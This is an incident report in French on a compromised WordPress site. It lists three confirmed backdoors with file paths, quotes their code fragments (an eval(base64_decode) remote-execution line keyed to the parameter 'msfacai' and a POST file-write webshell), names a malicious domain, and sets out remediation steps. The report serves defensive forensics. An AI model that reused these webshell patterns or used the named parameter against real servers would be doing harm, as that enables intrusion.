# 🚨 SECURITY-01 — Compromission du site (backdoors actifs)

**Date** : 2026-06-24
**Serveur** : 51.158.96.239 — `/var/www/toulouse`
**Gravité** : 🔴🔴 CRITIQUE — exécution de code à distance (RCE) active

## Découverte
Trouvé pendant le debug du cache (sessions PHP démarrées sur chaque page → bloquaient le cache).
La cause est une **compromission** : plusieurs portes dérobées, d'au moins **2 acteurs différents**.

## Backdoors confirmés
| Fichier | Type | Détail |
|---------|------|--------|
| `plugins/sitepress-multilingual-cms/addons/wpml-page-builders/vendor/jakeasmith/http_build_url/src/https_redirection-ru.php` | **RCE** | `Include($file); eval(base64_decode($_REQUEST['msfacai']))` — exécution de code arbitraire via param `msfacai` (réf. Metasploit) |
| `uploads/2018/12/index.php` | **File-write webshell** | mot de passe `msfacai` ; écrit n'importe quel fichier via POST (`fopen($_POST['lujing'],'w')`) — webshell chinois |
| `themes/toulouse-les-orgues/js/bx/vendor/jquery.fitvids.php` | **Kit malware** | `.php` déguisé en JS ; sert une fausse page Cloudflare liée au domaine malveillant **`wordpress.zzna.ru`** |

## Faux positifs écartés
- `cache/*.php` (`die("Please use the viewer")`) = cache légit Smart Slider 3.
- Nombreux `*/images|js|css/index.php` = placeholders WordPress "Silence is golden".
- `Divi/.../class-et-builder-element.php` = code Divi légit (eval/create_function du builder).

## À vérifier en remédiation (NON encore fait)
- [ ] Utilisateurs admin WP non autorisés (`wp user list --role=administrator`)
- [ ] Tâches cron WP/système malveillantes (`wp cron event list`, `crontab -l`)
- [ ] Intégrité du core WordPress (`wp core verify-checksums`)
- [ ] Intégrité plugins/thèmes (`wp plugin verify-checksums`)
- [ ] Injections en base (admin cachés, options `*_transient_*`, scripts dans posts)
- [ ] Autres `.php` déguisés / `eval`/`base64` obfusqués (scan plus profond, p.ex. via grep large)
- [ ] Vecteur d'entrée (plugin vulnérable ? mot de passe volé ? logs d'accès)

## Recommandation
1. **Containment immédiat** : neutraliser les 3 backdoors confirmés (renommer `.quarantine`, non destructif).
2. **Audit complet** : checksums core/plugins, users, cron, DB.
3. **Rotation de TOUS les secrets** : mots de passe WP admin, DB, **salts wp-config**, SSH.
4. **Idéalement** : restaurer depuis une sauvegarde **antérieure à l'infection** + réinstaller core/plugins
   depuis les sources officielles, puis remettre en ligne derrière un WAF.
5. **RGPD** : site FR avec Complianz — si données persos exposées, obligations de notification possibles.

## Statut : 🔴 EN COURS — containment à valider
